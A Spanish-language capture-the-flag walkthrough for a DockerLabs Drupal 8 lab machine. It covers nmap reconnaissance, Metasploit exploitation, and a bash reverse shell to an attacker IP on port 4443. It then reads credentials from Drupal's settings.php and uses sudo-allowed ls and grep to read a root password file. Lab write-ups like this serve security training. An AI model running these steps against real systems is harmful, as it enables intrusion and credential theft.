Find Your Style
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2

📌 El valor TTL=64 → Linux
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.
🔍 Servicios detectados:
- 🌐 HTTP en el puerto
80. Un drupal 8
🔍 Inspección manual del sitio enhttp://172.17.0.2:
Exploramos en navegador:
🔗 http://172.17.0.2

🕵️Análisis de vulnerabilidades
Entramos a la consola de Metasxploit
msfconsole

🎯 Explotación
Seleccionamos el primero (posición 0)
use 0
show options

Podemos identificar cuáles campos son obligatorios; en este caso, solo necesitamos configurar RHOSTS, que corresponde a la dirección de la máquina víctima:
set RHOSTS 172.17.0.2
para lanzar el exploit
run
✅ ¡Explotado con éxito!

Ahora sacamos Reverse Shell para trabajar más cómodos. Vamos a ReverseShells.com, ponemos:
-
IP atacante:
172.17.0.1 -
Puerto:
4443
En nuestra máquina escuchamos:
sudo nc -nlvp 4443
Y ejecutamos en la víctima:
shell
bash -c "bash -i >& /dev/tcp/172.17.0.1/4443 0>&1"
Para mejorar el shell
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

📈 Escalada de privilegios
🔎 Buscamos usuarios en /home → encontramos a ballenita.
Como es Drupal, vamos al archivo de configuración que suele tener credenciales:
cat /var/www/html/sites/default/settings.php | grep "ballenita"
🎯 ¡Contraseña encontrada!: ballenitafeliz
su ballenita
Ahora somos ballenita

🧠 Verificamos qué puede hacer con sudo:
sudo -l

Contamos con permisos para ejecutar los comandos ls y grep. Aprovechamos esta oportunidad para explorar el directorio personal de root y verificar si contiene algún archivo relevante, encontrando finalmente un archivo de texto.
sudo /bin/ls /root

📄 Hay un archivo: secretitomaximo.txt
Lo leemos con:
sudo /bin/grep "" /root/secretitomaximo.txt
Parece la contraseña de root

👀 ¡Contiene la contraseña de root!
